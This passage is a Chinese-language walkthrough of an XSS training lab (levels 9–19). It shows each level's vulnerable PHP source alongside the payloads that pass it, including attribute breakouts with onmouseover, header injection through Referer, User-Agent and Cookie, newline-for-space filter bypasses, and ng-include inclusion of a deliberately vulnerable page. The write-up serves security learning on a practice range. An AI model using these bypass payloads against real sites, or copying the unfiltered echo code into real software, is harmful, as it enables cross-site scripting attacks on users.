$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

分析完源码发现,它比level-8多了一个逻辑判断语句,如果接收的参数中不含http://就为假执行链接不合法,如果含有就正常执行!。

level-10

image-20231205191453786

思路:

老规矩还是查找输入点和回显点。

image-20231205191531104

发现输入的字符串#号后的字符都被截断了。应该对参数进行了过滤处理,输入一个POC进行测试

<scirpt>alert(1)</script>

image-20231210153807107

从源码分析,这里参数应该使用了htmlspecialchars()函数进行了过滤,但是也从源码种发现了三个参数,它们使用 hidden 参数将表单字段设置为隐藏,意味着用户无法在前端页面上直接修改或查看该字段的值,这可以增加一定的安全性。之前多次强调过,前端验证 就是一个纸老虎。

image-20231210154657455

参数2 t_history,也没有发现明显的回显位

image-20231210154813296

参数3 t_sort, 任然还是没有发现回显位。如果是正式挖掘SRC,我估计都已经放弃了,认为它没有XSS漏洞,但是它是一个XSS靶场,那么在本关卡中几就一定有XSS漏洞,只不过我还没发现。继续仔细观察思考!

在本关卡中使用了hidden对值进行了隐藏,那么这三个参数的值会不会传递到值(value)中呢?那么它就可能构成一个DOM型XSS,抱着怀疑的态度,我构造了一个POC进行测试。

" οnmοuseοver="alert(1)

image-20231210160245602

重新对三个参数进行测试后,发现任然没有触发XSS,开始分析POC和input标签的关系!

<input name="t_sort"  value="" onmouseover=alert(1) "" type="hidden">

最终还是发现一个问题,XSS是要在页面上有一个回显的位置触发,而这个标签的type属性是hidden 在页面上并没有现实,又怎么触发呢?仔细分析玩这个input标签后,他的type属性是在最后,那么我就可以利用HTML语言的特性在hidden属性之前在注入以个typetext属性,就可以在页面上显示一个文本框,从而去触发XSS脚本执行。

新POC

" οnmοuseοver=alert(1) type="text

image-20231210161810645

经过测试后 ,只有t_sort 参数可以成功触发,这也证明我的思路是对的。

源码分析:
<!DOCTYPE html><!--STATUS OK-->
<html>

<head>
  <meta http-equiv="content-type" content="text/html;charset=utf-8">
  <script>
    window.alert = function() {
      confirm("完成的不错!");
      window.location.href = "level11.php?keyword=good job!";
    }
  </script>
  <title>欢迎来到level10</title>
</head>

<body>
  <h1 align=center>欢迎来到level10</h1>
  <?php
  ini_set("display_errors", 0);
  $str = $_GET["keyword"];
  $str11 = $_GET["t_sort"];
  $str22 = str_replace(">", "", $str11);
  $str33 = str_replace("<", "", $str22);
  echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link"  value="' . '" type="hidden">
<input name="t_history"  value="' . '" type="hidden">
<input name="t_sort"  value="' . $str33 . '" type="hidden">
</form>
</center>';
  ?>
  <center><img src=level10.png></center>
  <?php
  echo "<h3 align=center>payload的长度:" . strlen($str) . "</h3>";
  ?>
</body>

</html>

看了源码发现,也只有t_sort参数进行了传值,并只过滤了两个尖括号<>.

level-11

image-20231210162440089

思路:

老规矩还是查找输入点和回显点。

输入测试字符后并没有发现任何回显点,那么这一关是否能和level-10一样有多个参数呢?

image-20231210162652095

查看页面源码后发现一共有4个参数,那么就按level-10 的思路进行测试

image-20231210162541855

全部测试完后发现,没有任何收获,在页面上找不到突破口,那么就换一个思路,从请求体中去寻找注入点。

在请求头中,有这么几条字段通常会被客户端利用,User_AgentRefererCookie,

User_Agent 用来判断用户是在使用什么设备访问,抵御恶意访问

Referer 用来判断用户是从那个网站来的,进行分析统计。

Cookie 用来判断用户权限信息,用于身份判断。

在分析4个参数 t_link 按字面意思理解应该是和链接相关,t_history历史记录相关,t_sort和类型相关,t_ref这个参数看着像请求头中的Referer字段!那么我们尝试在这个字段里注入一个POC测试!

image-20231210192259122

通过BP抓包未发现Referer字段,那么就把这个字段添加上去试试。

" οnmοuseοver=alert(1) type="text

image-20231210193343808

成功触发XSS脚本过关!!

image-20231210193532441

源码分析:
<!DOCTYPE html><!--STATUS OK-->
<html>

<head>
  <meta http-equiv="content-type" content="text/html;charset=utf-8">
  <script>
    window.alert = function() {
      confirm("完成的不错!");
      window.location.href = "level12.php?keyword=good job!";
    }
  </script>
  <title>欢迎来到level11</title>
</head>

<body>
  <h1 align=center>欢迎来到level11</h1>
  <?php
  ini_set("display_errors", 0);
  $str = $_GET["keyword"];
  $str00 = $_GET["t_sort"];
  $str11 = $_SERVER['HTTP_REFERER'];
  $str22 = str_replace(">", "", $str11);
  $str33 = str_replace("<", "", $str22);
  echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link"  value="' . '" type="hidden">
<input name="t_history"  value="' . '" type="hidden">
<input name="t_sort"  value="' . htmlspecialchars($str00) . '" type="hidden">
<input name="t_ref"  value="' . $str33 . '" type="hidden">
</form>
</center>';
  ?>
  <center><img src=level11.png></center>
  <?php
  echo "<h3 align=center>payload的长度:" . strlen($str) . "</h3>";
  ?>
</body>

</html>

从源码中分析,它总共就接收了三个参数一个是$str$str00$str11,其中$str是接收首页的keyword参数,会在首页回显,但是由httpspecialchars()函数过滤,所以无法进行XSS利用,

$str00参数,没有回显在页面上,但是在HTML树上,用input的value属性显示了它的值,因为也被httpspecialchars()函数过滤,所以也无法使用。

关键就在于$str11参数,它接收一个通过$_SERVER全局超级变量传递了HTTP协议中的Referer字段。没有做严格的过滤限制,只限制的尖括号,所以它可以进行绕过。

level-12

image-20231210211835926

思路:

老规矩还是查找输入点和回显点。

image-20231210231724918

用页面源码发现,这一关的套路和level-11一样,不过这一次使用了User-Agent字段。直接把抓包修改该值。

" οnmοuseοver=alert(1) type="text

image-20231210232106833

level-11 和 level-12的源码几乎是一致的就不在分析!

level-13

image-20231210232206307

思路:

老规矩还是查找输入点和回显点。

image-20231210232247994

用页面源码发现,这一关的套路和level-11一样,不过这一次使用了Cookie字段。直接把抓包修改该值。

image-20231210233639991

user=" οnmοuseοver=alert(1) type="text

修改Cookie字段后成功触发XSS漏洞!

源码与level-11、level-12 几乎一致就不在分析

level-14

image-20231210234416757

思路:

本关卡应该是要跳转到另一个网页,奈何那个网页无法打开,先查看页面源码

image-20231210234536849

在源码中没有发现任何参数,只发现有一条iframe的标签,解释如下:

iframe标签:

是 HTML 中的一个标签,用于在网页中嵌入另一个网页或外部资源。它允许你在当前页面中显示来自不同来源的内容,比如其他网站的页面、地图、视频等。通过指定 <iframe> 标签的 src 属性,你可以指定要嵌入的外部资源的 URL。例如:

<iframe src=“网站地址”></iframe>

这将在你的网页中嵌入来自 指定网站 的内容。你可以设置 <iframe> 的大小、边框以及其他属性,以适应你的布局和需求。

需要注意的是,嵌入外部内容可能会涉及到跨域访问和安全性问题,因此需要谨慎处理。

关键点就是这个网址,如果跳转的网址存在XSS漏洞,那么它也会触发本关卡的XSS。

那么我们直接构造以个含有XSS漏洞的网站,然后通过iframe来间接访问~!

<?php 
    $Xss = $_GET['xss'];
	echo $Xss;
?>

image-20231211000103787

成功拿下

源码分析:

后端源码与页面源码一致,就不在进行分析,很简单。

level-15

image-20231211000349418

思路:

这一关卡嵌入了AngularJS框架,AngularJS 是一个由 Google 开发的 JavaScript 前端框架,用于构建单页面应用程序(SPA)。它提供了一种结构化的方法来开发 Web 应用,简化了前端开发流程。

老规矩还是查找输入点和回显点。

image-20231211000448205

发现15关的参数是一张图片,它在一个span块中,其中用了class属性里面的值是ng-include:1.gif,这里看着就有点奇怪,class属性一般都是用来处理样式表,但是这里却直接使用ng-include:1.gif.这并不是 class 属性通常所用的方式。

正常情况下,ng-include 是用于 AngularJS 框架中的,用来包含其他 HTML 文件的内容。而将 ng-include:1.gif 直接放在 class 属性中并不符合标准的 HTML/CSS 规范。

ng-include的使用方式:

基本的使用方式是在 HTML 页面中使用 ng-include 指令,并将需要包含的外部文件的路径作为指令的参数。例如:

<div ng-include=“‘/地址/文件.html | php’”></div>

在这个例子中,ng-include 指令将会包含 /地址/文件.html | php' 文件的内容并插入到 <div> 元素中。

需要注意的是,使用 ng-include 指令时,要确保路径指向的文件是存在的,否则页面会出现错误。

所以我们可以使用level-14的思路,来构建一个POC。

‘/xss.php?xss=<input type="text" onmouseover=alert(1)>

xss.php是我直接写了一个xss漏洞的代码

<?php
	$xss = $_GET['xss']
    echo "<center> xss漏洞". $xss
?>

image-20231211164527048

发现在源页面下,吧xss.php的页面也包含进来,这个页面是以个包含xss漏洞的页面,当我的鼠标移动到这个文本框,就会触发XSS脚本。

image-20231211165616938

源码非常简单就不在进行分析!

level-16

image-20231211165821478

思路:

老规矩还是查找输入点和回显点。

image-20231211222009721

从页面源码分析,传输在页面有一个回显点,因此我们可以构造一个POC进行测试!

<script>alert(1)</script>

image-20231211222205906

发现scirpt/都被HTML实体编码转义成$nbsp;,在使用其他POC进行测试。

<input type="text" onmouseover=alert(0)>

image-20231211222956151

发现空格也被转义成$nbsp,那么我们就要构造一个不含script/(空格)的POC。

<input%0Atype="text"%0Aοnmοuseοver=alert(0)>

image-20231211223741145

成功通过,我使用了%0A它是URL 编码,代表换行符。在HTML语法中,换行符通常被解释为空格符,不会产生实际的换行效果。这是因为 HTML 解析器会忽略连续的空白字符(包括空格、制表符和换行符),将它们视为单个空格符。

源码分析:
<!DOCTYPE html><!--STATUS OK-->
<html>

<head>
  <meta http-equiv="content-type" content="text/html;charset=utf-8">
  <script>
    window.alert = function() {
      confirm("完成的不错!");
      window.location.href = "level17.php?arg01=a&arg02=b";
    }
  </script>
  <title>欢迎来到level16</title>
</head>

<body>
  <h1 align=center>欢迎来到level16</h1>
  <?php
  ini_set("display_errors", 0);
  $str = strtolower($_GET["keyword"]);
  $str2 = str_replace("script", "&nbsp;", $str);
  $str3 = str_replace(" ", "&nbsp;", $str2);
  $str4 = str_replace("/", "&nbsp;", $str3);
  $str5 = str_replace("	", "&nbsp;", $str4);
  echo "<center>" . $str5 . "</center>";
  ?>
  <center><img src=level16.png></center>
  <?php
  echo "<h3 align=center>payload的长度:" . strlen($str5) . "</h3>";
  ?>
</body>

</html>

从源码中分析,传递的参数受援会被strtolower()函数转换成小写字符,避免大小写绕过的问题,然后使用str_replace()函数对 script空格 /关键字进行了过滤,将过滤后的结果放在页面回显。

level-17

image-20231211234319286

思路:

老规矩还是查找输入点和回显点。没有发现明显的回显点,查看页面源码发现,参数都传递进<embed>标签中。

image-20231212104606720

<embed> 是 HTML 标签之一,用于嵌入外部内容或资源(比如多媒体文件)到网页中。它可以嵌入各种类型的内容,比如图像、音频、视频、Flash 动画等。

<embed> 标签已经被 HTML5 规范废弃,推荐使用 <object><iframe> 标签来嵌入外部内容。根据具体的需要和媒体类型,来选择适合的标签进行嵌入。

在本关卡中<embed> 标签嵌入了一个外部内容,src 属性指定了嵌入的 Flash 文件(xsf01.swf),更具页面源码分析,arg01arg02 都是在src属性后,在arg01前面有一个?,在arg02 前有一个=号,那么它的意思就是,使用arg01作为参数名字,arg02作为参数值来调用,xsf02.swf文件中的参数,那么我们是否可以构造一个POC来闭合这条语句呢?先进行尝试!

?arg01=%0Aοnmοuseοver=alert(1)%0A&arg02=

使用%0A换行符,对arg01前后的?= 进行分割,从而构造了一个DOC型 XSS。而arg02参数我就不用在进行修改。进行测试.

image-20231212114255998

成功通关

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

在源码中发现,它并没有对传入的传输进行赋值,而是直接将 $_GET["arg01"]$_GET["arg02"] 的值传递给了 Flash 文件的参数。虽然使用了htmlspecialchars()函数进行了过滤,但是任然是一种不安全的编程习惯,

在使用传递的传输前,应该充分的对他进行验证过滤,不要相信任何用户写入,才能保证网点的安全。

level-18

image-20231212114730324

思路:

老规矩还是查找输入点和回显点。

image-20231212120703620

分析页面源码,和level-17几乎是一样,使用level-17的POC进行测试!

?arg01=%0Aοnmοuseοver=alert(1)%0A&arg02=

image-20231212122042327

直接通关!

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

源码几乎也是一模一样,只是flash文件替换了~。

level-19

image-20231212122427966

思路:

老规矩还是查找输入点和回显点。

image-20231212122544435

页面源码和level-17、level-18 几乎也是一样的!还是直接传入level-17的POC进行测试!

?arg01=%0Aonmouseover=alert(1)%0A&arg02=

image-20231212122813800

是我疏忽了,这一关卡src的参数值被双引号阔选了,所以我们传入的POC就会被当作双引号中的一个整体,导致脚本无法触发,那次这一关我们就要考虑如何去闭合它。构造新的POC

在尝试各种方法后始终无法触发XSS脚本,最后才发现最后两关(19、20)需要flash逆向才能触发,现在精力有限制,所以留到以后有时间在做通关!

文章来源:https://blog.csdn.net/weixin_44369049/article/details/134960231
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。